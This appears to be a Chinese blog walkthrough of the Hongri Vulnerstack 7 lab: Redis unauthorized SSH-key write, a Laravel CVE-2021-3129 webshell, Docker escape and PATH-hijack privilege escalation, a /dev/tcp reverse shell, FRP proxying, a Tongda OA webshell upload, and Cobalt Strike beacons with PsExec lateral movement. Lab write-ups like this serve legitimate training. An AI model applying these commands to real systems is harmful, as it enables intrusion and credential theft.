跳到主要内容
极客日志极客日志面向AI+效率的开发者社区
首页博客我的书AI学习GitHub 精选镜像AI 生图工具UI配色美学关于
搜索内容 / 工具 / 仓库 / 镜像...⌘K搜索
注册
博客列表
Shell / Bash

红日靶场 7 实战:内网横向渗透与 Cobalt Strike 上线全流程

红日靶场 7 的内网渗透流程。通过 Redis 未授权访问获取 Web1 权限,利用 Laravel 漏洞及 Docker 逃逸控制 Web2。配置 FRP 代理打通内网,通过通达 OA 漏洞获取 PC1 权限。最终使用 Cobalt Strike Beacon 上线各节点,结合 SMB 及永恒之蓝攻陷域控 DC 及目标主机 PC2。涉及信息收集、漏洞利用、提权、横向移动及持久化控制。

Pythonist发布于 2026/4/6更新于 2026/9/879 浏览
红日靶场 7 实战:内网横向渗透与 Cobalt Strike 上线全流程

红日靶场 7 实战:内网横向渗透与 Cobalt Strike 上线全流程

本系列文章详细记录红日靶场 7 的一次从外网到内网的多层渗透测试过程,整个攻击链包括:通过 Redis 未授权渗透获取 Web1 跳板机权限;利用 Laravel(CVE-2021-3129)渗透 Web2 服务器并实现 Docker 逃逸;配置 FRP 反向代理连通内网;使用 fscan 进行内网探测;通过 CS 工具上线多个内网主机;最终利用永恒之蓝和 Psexec/SMB 攻陷域控 DC。整个渗透过程展示了从信息收集、渗透利用到权限提升、横向移动的完整攻击路径。

一、渗透环境

1、网络拓扑

外部网络:

  • Kali 攻击机:Vmnet8 - 192.168.59.128
  • DMZ 跳板机:Web1(Ubuntu):Vmnet8 - 192.168.59.141,Vmnet2 网卡:192.168.52.10

第一层内部网络:

  • Web2 服务器(Ubuntu):Vmnet2 网卡:192.168.52.20,Vmnet14 网卡:192.168.93.10
  • PC1(内网 1):Vmnet2 网卡:192.168.52.30(通达 OA),Vmnet14 网卡:192.168.93.20

第二层内部网络:

  • 内网渗透目标 PC2(内网 2):Vmnet14 - 192.168.93.40(永恒之蓝)
  • 内网渗透目标 DC(内网 2):Vmnet14 - 192.168.93.30(Psexec SMB)

文章配图

2、角色表

本渗透环境包含六个核心角色,具体渗透流程与角色表如下所示。

节点IP 地址角色渗透路径中的作用
Kali 攻击机192.168.59.128 (Vmnet8)攻击发起源从外网发起攻击的起点
Web1 跳板机192.168.59.141 (Vmnet8)
192.168.52.10 (Vmnet2)
初始入口
Redis 未授权访问
第一层跳板,连接外网与内网 1
Web2 服务器192.168.52.20 (Vmnet2)
192.168.93.10 (Vmnet14)
Laravel 应用 & Docker
双网卡网关
第二层跳板,连接内网 1 与内网 2
PC1192.168.52.30 (Vmnet2)
192.168.93.20 (Vmnet14)
通达 OA 系统
双网卡主机
辅助跳点,连接内网 1 与内网 2
PC2 (目标)192.168.93.40 (Vmnet14)存在 MS17-010(永恒之蓝)
内网 2 核心攻击目标之一
DC (目标)192.168.93.30 (Vmnet14)域控制器,存在 Psexec/SMB内网 2 最终攻击目标

3、网络搭建

(1)网络适配器配置
①修改 Web1 的网卡配置

将桥接的网卡改为 NAT 和 VMnet2。

开启 redis 服务:

redis-server /etc/redis.conf

启动 Nginx 服务:

/usr/sbin/nginx -c /etc/nginx/nginx.conf
②修改 Web2 的网卡配置

将桥接的网卡改为 VMnet2 和 VMnet14。

启动 Docker 服务:

sudo service docker start
sudo docker start 8e172820ac78

确保在攻击机可以访问 Web1 服务器的 81 端口,URL 如下:

http://192.168.59.141:81/
③修改 PC1 的网卡配置

将桥接的网卡改为 VMnet2 和 VMnet14。

注意:启动通达 OA 要管理员密码 - Administrator:Whoami2021

C:\MYOA\bin\AutoConfig.exe

关闭防火墙以允许访问 8080 端口。

(2)配置网段
①编辑虚拟网络编辑器

点击 vmware - 编辑 - 虚拟网络编辑器,进入配置 vmnet 网卡的界面。

② vmnet2 网卡

将 vmnet2 网段改为 192.168.52.0/24。

③ vmnet14 网卡

添加 vmnet14 网卡,网段设置为 192.168.93.0/24。

二、信息搜集

1、探测存活主机

nmap -sn 192.168.59.0/24

发现 ip 地址为 192.168.59.141。

2、探测端口

对 192.168.59.141 进行常用端口探测,出现敏感端口号 22、80、81。

nmap -A 192.168.59.141

三、Redis 渗透

1、生成 ssh 私钥

在攻击机中生成一对 RSA 非对称加密密钥:

ssh-keygen -t rsa

2、查看生成公钥文件

查询公钥内容:

cat ~/.ssh/id_rsa.pub

3、写入 Redis 服务器

(1)直接连接未授权 Redis
redis-cli -h 192.168.59.141
(2)写入 SSH 公钥获取服务器权限

篡改 Redis 的数据持久化配置,将生成的 SSH 公钥写入到目标系统 root 用户的 SSH 认证文件中:

config set dir /root/.ssh/
config set dbfilename authorized_keys
set marginl "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC12JKIZTU2nkawSToIfKdy/5AE2reVNoFiD8r9NO6Sd6vkvzQ1JZRa0UcbXBc7sg1C3eLdF0p6i6+fWx6JEFbVtct0y2INdPIv0SumGEp8Hm2FD86kmwm7pcnKg/UqMrEP327yLglLAg++SAVBdAFy+Zxf0U3M1mvj6i3taIMHron8J6eWLI4G4AVinR5rAt9sxjIKvsFcrS7uB1+THd0tvDK4KzFKZ13sBxVyWZWV7Xrz3zNYwakQxlAxFQVcoVA/zebD7v9slUJhIKB0dyi0x+Kd8KUcJfQU8Xm+5J+GBPyxzywxMxIO2HDxSlCmcOOLiI28gRoi5N0du5fxIYJtSPIpKPy/BPHKDMXkXnec946fTFVxQe3jTZFBSt33573GA3cpeA9w1qaqhcLNIVJL9G08UkvUerBkqSqDQu/cP5T8Y6VSc5T8vXYZ9XJr8rQqTQMMB+S3+woeuSdX6pnsR+tPlyKe7AhZTx34JpvbqdVYdArV+2QgOWkXuSrinQk= kali@kali\n\n\n"
save

4、ssh 连接

ssh [email protected] -i ~/.ssh/id_rsa

5、查看 Web1 的 Nginx 配置

cd /etc/nginx/conf.d/
cat 81.conf

发现 81 端口进行了反向代理(使用的是 192.168.52.20 对应的 8000 端口)。

四、Laravel 渗透(Web2)

1、发现 Laravel

访问 Web1 的 81 端口,发现其为 Laravel 服务。

http://192.168.59.141:81

2、下载 PoC

https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

3、执行 PoC 上传木马

python laravel-CVE-2021-3129-EXP.py http://192.168.59.141:81

输出 webshell 地址:http://192.168.59.141:81/fuckyou.php, 密码:pass。

4、下载哥斯拉

https://github.com/BeichenDream/Godzilla/releases/tag/v2.96-godzilla

5、连接哥斯拉

通过 java -jar 命令启动哥斯拉,添加木马连接。

6、发现 Docker 环境

通过 ls -la / 命令查看根目录,发现 docker 文件。执行 whoami 返回 www-data 用户。

五、Docker 逃逸(Web2)

1、利用反弹 shell 交互

(1)Web1 监听 5555 端口
nc -lvnp 5555
(2)哥斯拉(Docker)连接 5555 端口
bash -c 'exec bash -i &>/dev/tcp/192.168.52.10/5555<&1'
(3)Web1 反弹 shell 成功

成功连接后,可在 web1 的 ssh 终端通过监听 5555 端口连接 Web2 的 Laravel 服务器 docker 环境。

2、查找 find 权限

find / -perm -u=s -type f 2>/dev/null

发现 /home/jobs/shell 文件设置了 SUID 权限,属主是 root。

3、分析/home/jobs/shell 文件

(1)file /home/jobs/shell

查看该程序的文件类型,发现是可执行程序。

(2)发现源码文件

检查目录是否存在相关源码文件,发现 demo.c 文件。

cat /home/jobs/demo.c

该 C 程序通过 setuid(0) 和 setgid(0) 将进程权限提升至 root 身份,并调用 system("ps")。

(3)尝试直接执行 shell 程序

执行 shell 程序,确认其执行了 ps 程序。

5、环境变量提权

(1)命令详解

PATH 环境变量劫持提权攻击步骤:

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/jobs
./shell
(2)实操提权

执行 shell 后输入 id 和 whoami,提权成功。

6、交互式会话

python -c 'import pty; pty.spawn("/bin/bash")'

7、Docker 逃逸准备

(1)特权模式检测
cat /proc/self/status | grep CapEff

若返回值接近全权限掩码,则确认容器以特权模式运行。

(2)查看分区
fdisk -l

获知宿主机磁盘为/dev/sda。

(3)挂载文件系统
mkdir /ljn
mount /dev/sda1 /ljn

8、写入 ssh 密钥进行逃逸

(1)跳板机 Web1 生成密钥
ssh-keygen -f ljn
(2)向 Web2 写入公钥
echo 'ssh-rsa ...' > /ljn/home/ubuntu/.ssh/authorized_keys
(3)Web1 连接 Web2 的 ssh 成功
chmod 600 ljn
ssh -i ljn [email protected]

此时成功逃逸到 web2 系统,但用户为 ubuntu,仍需提权。

六、Web2 提权

1、CVE-2021-3493 PoC 下载

https://github.com/briskets/CVE-2021-3493

2、Web2 上创建 PoC 文件

建立 exploit.c 文件并将脚本内容粘贴进去。

3、编译执行 PoC 提权

gcc exploit.c -o exploit_ljn
chmod +x exploit_ljn
./exploit_ljn

提权成功。

七、Web1 上传 Fscan 探测内网 1

1、上传 fscan

将 fscan_arm64 传入到 Web1 中。

2、fscan 探测 192.168.52.0/24 网段

chmod +x ./fscan_amd64
./fscan_amd64 -h 192.168.52.0/24

发现 30 是 windows 系统,8080 是通达 OA。

八、FRP 配置第一层反向代理

1、服务器(KALI 攻击机)

(1)配置文件 frps.ini
bindPort = 7000
(2)kali 执行 frps
./frps -c frps.ini

2、客户端(Web 跳板机)

(1)配置文件 frpc.ini
[common]
server_addr = 192.168.59.128
server_port = 7000

[socks5]
type = tcp
remote_port = 12347
plugin = socks5
(2)向 Web1 服务器上传 frpc 文件并执行

上传并执行 frpc 文件。

3、Kali 配置 proxychains

配置/etc/proxychains4.conf 文件,添加 socks5 0.0.0.0 12347。

九、PC1 渗透(通达 OA 走 FRP 代理)

1、访问 PC1 的 8080 端口

访问 PC1 的通达 OA 服务(192.168.52.30:8080),需配置 socks5 代理 192.168.59.128:12347。

2、OA 工具箱渗透

(1)配置代理

配置 socks5 代理。

(2)扫描探测

选择通达菜单,输入 URL 验证存在文件上传安全风险。

(3)写入木马

上传冰蝎马:

http://192.168.52.30:8080/ispirit/interface/gateway.php?json={}&url=../../ispirit/../../attach/im/2510/562133777.png

3、连接冰蝎木马

配置 socks5 代理,连接冰蝎工具。

4、发现第二层内网 192.168.93.0/24

使用 ipconfig 查询 ip 地址,发现另一个网卡 ip 地址为 192.168.93.20。

十、添加路由

1、kali 添加路由

route add -net 192.168.52.0 netmask 255.255.255.0 gw 192.168.59.141 eth0

2、Web1 添加转发功能

sysctl -w net.ipv4.ip_forward=1

3、Web2 添加路由

route add -net 192.168.59.0 netmask 255.255.255.0 gw 192.168.52.10 eth0

4、PC1 添加路由

route add 192.168.59.0 mask 255.255.255.0 192.168.52.10

5、Kali 与 Web2 测试连通性

测试 ping 连通性。

6、Kali 与 PC1 测试连通性

测试 ping 连通性。

十一、CS 监听 Web1(直连)

1、创建 https 监听

在 Cobalt Strike 中创建监听器。

2、配置 cs 插件 genCrossC2.Win

确保 genCrossC2.Win 目录中的 key 与 cs server 端的 key 值相同。

3、使用 genCrossC2.Win 生成 linux beacon

genCrossC2.exe 192.168.59.128 10050 ./.cobaltstrike.beacon_keys null Linux x64 ljn-10050.out raw

4、将 ljn-10050 上传至 Web1 并运行

上传并执行 beacon 文件。

5、CS 上线 Web1

Web1 上线,内网 ip 地址为 192.168.52.0/24 网段。

十二、CS 上线 Web2(路由)

1、web2 上传 beacon

在 web1 的 beacon 文件目录中执行 python 服务:

python3 -m http.server 8888

web2 下载 ljn-10050.out。

2、web2 运行 beacon

运行 ljn-10050.out。

3、CS 上线 web2

CS 显示 web2 上线。

十三、CS 上线 PC1(路由)

1、CS 创建 10087 监听

(1)添加 cs http beacon 监听

选择 payload 类型(Beacon HTTP),配置回连 IP 和端口。

(2)生成木马 Payload

选择 Windows 可执行文件(Stageless),配置监听器,生成 mooyuan2008-http-x64.exe。

2、PC1 执行 Beacon

(1)冰蝎上传 beacon 到 PC1

通过冰蝎上传文件。

(2)冰蝎执行 beacon

执行 mooyuan2008-http-x64.exe。

3、CS 上线 PC1 的 beacon

(1)CS 上线 PC1

CS 显示 PC1 上线。

(2)抓取密码

使用 Mimikatz 等工具抓取密码。

(3)端口扫描

进行内网端口扫描。

(4)域信息搜集

搜集域信息。

4、CS 创建 SMB 监听

新建 SMB 监听。

十四、CS 上线 DC(PSexec via PC1 smb)

还原快照或手动打开防火墙,确保环境原始状态。使用 PSExec 通过 SMB 协议上线 DC。

十五、CS 上线 PC2(PSexec via DC smb)

使用 PSExec 通过 SMB 协议上线 PC2。

十六、总结

正常应该都是活动的,这里因为电脑太卡了,对 PC1 和 PC2、DC 关机了。图示化展示渗透路径。

目录

  1. 红日靶场 7 实战:内网横向渗透与 Cobalt Strike 上线全流程
  2. 一、渗透环境
  3. 1、网络拓扑
  4. 2、角色表
  5. 3、网络搭建
  6. (1)网络适配器配置
  7. ①修改 Web1 的网卡配置
  8. ②修改 Web2 的网卡配置
  9. ③修改 PC1 的网卡配置
  10. (2)配置网段
  11. ①编辑虚拟网络编辑器
  12. ② vmnet2 网卡
  13. ③ vmnet14 网卡
  14. 二、信息搜集
  15. 1、探测存活主机
  16. 2、探测端口
  17. 三、Redis 渗透
  18. 1、生成 ssh 私钥
  19. 2、查看生成公钥文件
  20. 3、写入 Redis 服务器
  21. (1)直接连接未授权 Redis
  22. (2)写入 SSH 公钥获取服务器权限
  23. 4、ssh 连接
  24. 5、查看 Web1 的 Nginx 配置
  25. 四、Laravel 渗透(Web2)
  26. 1、发现 Laravel
  27. 2、下载 PoC
  28. 3、执行 PoC 上传木马
  29. 4、下载哥斯拉
  30. 5、连接哥斯拉
  31. 6、发现 Docker 环境
  32. 五、Docker 逃逸(Web2)
  33. 1、利用反弹 shell 交互
  34. (1)Web1 监听 5555 端口
  35. (2)哥斯拉(Docker)连接 5555 端口
  36. (3)Web1 反弹 shell 成功
  37. 2、查找 find 权限
  38. 3、分析/home/jobs/shell 文件
  39. (1)file /home/jobs/shell
  40. (2)发现源码文件
  41. (3)尝试直接执行 shell 程序
  42. 5、环境变量提权
  43. (1)命令详解
  44. (2)实操提权
  45. 6、交互式会话
  46. 7、Docker 逃逸准备
  47. (1)特权模式检测
  48. (2)查看分区
  49. (3)挂载文件系统
  50. 8、写入 ssh 密钥进行逃逸
  51. (1)跳板机 Web1 生成密钥
  52. (2)向 Web2 写入公钥
  53. (3)Web1 连接 Web2 的 ssh 成功
  54. 六、Web2 提权
  55. 1、CVE-2021-3493 PoC 下载
  56. 2、Web2 上创建 PoC 文件
  57. 3、编译执行 PoC 提权
  58. 七、Web1 上传 Fscan 探测内网 1
  59. 1、上传 fscan
  60. 2、fscan 探测 192.168.52.0/24 网段
  61. 八、FRP 配置第一层反向代理
  62. 1、服务器(KALI 攻击机)
  63. (1)配置文件 frps.ini
  64. (2)kali 执行 frps
  65. 2、客户端(Web 跳板机)
  66. (1)配置文件 frpc.ini
  67. (2)向 Web1 服务器上传 frpc 文件并执行
  68. 3、Kali 配置 proxychains
  69. 九、PC1 渗透(通达 OA 走 FRP 代理)
  70. 1、访问 PC1 的 8080 端口
  71. 2、OA 工具箱渗透
  72. (1)配置代理
  73. (2)扫描探测
  74. (3)写入木马
  75. 3、连接冰蝎木马
  76. 4、发现第二层内网 192.168.93.0/24
  77. 十、添加路由
  78. 1、kali 添加路由
  79. 2、Web1 添加转发功能
  80. 3、Web2 添加路由
  81. 4、PC1 添加路由
  82. 5、Kali 与 Web2 测试连通性
  83. 6、Kali 与 PC1 测试连通性
  84. 十一、CS 监听 Web1(直连)
  85. 1、创建 https 监听
  86. 2、配置 cs 插件 genCrossC2.Win
  87. 3、使用 genCrossC2.Win 生成 linux beacon
  88. 4、将 ljn-10050 上传至 Web1 并运行
  89. 5、CS 上线 Web1
  90. 十二、CS 上线 Web2(路由)
  91. 1、web2 上传 beacon
  92. 2、web2 运行 beacon
  93. 3、CS 上线 web2
  94. 十三、CS 上线 PC1(路由)
  95. 1、CS 创建 10087 监听
  96. (1)添加 cs http beacon 监听
  97. (2)生成木马 Payload
  98. 2、PC1 执行 Beacon
  99. (1)冰蝎上传 beacon 到 PC1
  100. (2)冰蝎执行 beacon
  101. 3、CS 上线 PC1 的 beacon
  102. (1)CS 上线 PC1
  103. (2)抓取密码
  104. (3)端口扫描
  105. (4)域信息搜集
  106. 4、CS 创建 SMB 监听
  107. 十四、CS 上线 DC(PSexec via PC1 smb)
  108. 十五、CS 上线 PC2(PSexec via DC smb)
  109. 十六、总结

更多推荐文章

查看全部
  • uv 与 conda 对比:Python 环境管理工具选型指南
  • Windows 下 Docker Desktop 安装及 WSL2 配置教程
  • n8n 2.x 自托管部署:Task Runners 原生 Python 支持
  • 从长期记忆角度解析 Agent 技术
  • 移动云 AIGC 大赛正式启幕
  • Python、PyTorch、CUDA 及 MMCV/MMDetection 版本对应指南
  • 基于 LangChain-Chatchat 实现本地知识库问答应用快速上手
  • 主流无人机倾斜摄影三维建模服务商盘点
  • llama.cpp 量化模型部署实战:从模型转换到 API 服务
  • Claude Code 本地环境配置与 API 调用教程
  • 自然语言处理在法律领域的应用与实战
  • 2025 年主流 AI 写作工具横向对比与选择指南
  • C++ 异常处理机制深度解析
  • 基于腾讯云轻量应用服务器部署 OpenClaw 并接入 QQ 与飞书机器人
  • Android 中高级开发核心面试题与解析
  • ChatGLM3-6B 本地与云端部署及 API 调用实战指南
  • 基于 Bright Data MCP 与 N8N 的 AI 新闻编辑自动化工作流实践
  • FPGA Vivado 下载及烧录流程详解
  • 带电/含锂电/储能产品出口的三条合规新变化
  • 基于 Higress 将 REST API 转换为 MCP Server 工具

相关免费在线工具

  • Base64 字符串编码/解码

    将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online

  • Base64 文件转换器

    将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online

  • Markdown转HTML

    将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online

  • HTML转Markdown

    将 HTML 片段转为 GitHub Flavored Markdown,支持标题、列表、链接、代码块与表格等;浏览器内处理,可链接预填。 在线工具,HTML转Markdown在线工具,online

  • JSON 压缩

    通过删除不必要的空白来缩小和压缩JSON。 在线工具,JSON 压缩在线工具,online

  • JSON美化和格式化

    将JSON字符串修饰为友好的可读格式。 在线工具,JSON美化和格式化在线工具,online